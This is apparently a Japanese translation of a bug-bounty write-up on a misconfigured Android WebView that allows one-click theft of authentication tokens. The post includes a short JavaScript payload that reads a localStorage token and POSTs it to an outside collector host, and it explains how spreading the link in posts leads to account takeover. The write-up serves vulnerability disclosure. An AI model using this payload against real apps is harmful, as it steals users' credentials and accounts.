Shikata Ga Nai

Private? There is no such things.

Steal authentication token with one-click on misconfigured WebView.を訳してみた

Hello there, ('ω')ノ

 

誤って構成された WebView でワンクリックで認証トークンを盗むを。

 

脆弱性:

 Android

 Webview

 アカウントの乗っ取り  

 

記事:

 https://0xwise.medium.com/are-clicking-links-safe-f7cfcae2e421

 

今回は、いくつかのアプリで発見した Android WebView 攻撃について。

具体的には、攻撃者の Web サイトまたは URL へのリンクを含む

メッセージ、コメント、または投稿を投稿するだけで、

ワンクリック アカウント乗っ取りをどのように達成できたかを。

Android ユーザがリンクをクリックすると、攻撃者である自分が

認証トークンとアカウント データを盗むことができて。

 

WebView は、開発者がアプリ内での Web ページの表示方法を

カスタマイズできるようにするコンポーネントで。

これには、JavaScript、Cookie、およびユーザ入力のサポートが含まれて。

また、HTML、CSS、および画像のレンダリングを可能にし、

ユーザがリンクをクリックしてフォームを送信するなど、

Web コンテンツを操作できるようにして。

基本的に、これはアプリ コンテンツ用のブラウザで。

 

詳細:

HackerOne のプライベート バグ報奨金プログラムで Android アプリを

探しているときに、アプリを閲覧しているときに WebView が次のコードを実行し、

ユーザの認証トークンとアカウント データをローカル ストレージに

保存していることを発見して。

 

javascript:window.localStorage.setItem("u", JSON.stringify({"oldToken":"Basic NjQwMDE1N2EwMTA4MzI0NTI1Y2NiOWJmOmQ3MDVkZDkzLWRjMGMtNxxxxxxxx","id":"61957b5843xxxxx","email":"secret@myemail.com","username":"0xWise","referralCode":"","hasApiAccount":false,"hasMobileAccount":true,"hasWebAccount":true,"hasPasswordSet":true}));

 

このコードは、項目「u」の localStorage 値が上記のコードのデータと

等しいことを意味して。

コード内のデータには、自分のアカウントの JWT 認証トークンと

等しい「oldToken」があり。

(注:トークンは有効であり、古いものではなく)

 

webview アクティビティは、setJavaScriptEnabled(true)

および setDomStorageEnabled(true) を許可するように設定されて。

これは、webview 内でリンクをクリックして開くと、JavaScript を実行し、

問題なく localStorage および sessionStorage オブジェクトに

アクセスできることを意味して。

この脆弱性を検出 and/or 悪用するために、サーバに次のスクリプトを

作成して。

(Replit ホスティング サービスを使用)


alert(window.localStorage.getItem('u'));
fetch('https://eq8u3apw7h7746qv0l5madalnct3ht5i.oastify.com/log', {
method: 'POST',
mode: 'no-cors',
body:window.localStorage.getItem('u')
});

 

その後、Android アプリに移動し、Replit サーバの

URL (例: https://xss-redacted.repl.co) を含む投稿を作成し。

Android アプリのユーザまたは被害者がリンクをクリックすると、

次のような結果が得られて。

 

 


影響:

攻撃者が投稿、コメント、プロフィール Web サイトなどで制御する URL は

WebView 内で開くことができ、攻撃者はアクセスしてローカル ストレージから

ユーザーのデータを盗むことができ。

このデータには、アカウントの乗っ取り (ATO) につながる

ユーザ認証トークンが含まれていて。

さらに、この脆弱性は、攻撃者が投稿やコメントなどを通じて

エクスプロイト URL を簡単に広めることができるため、

大量のアカウントの乗っ取りにつながる可能性があって。

 

Best regards, (^^ゞ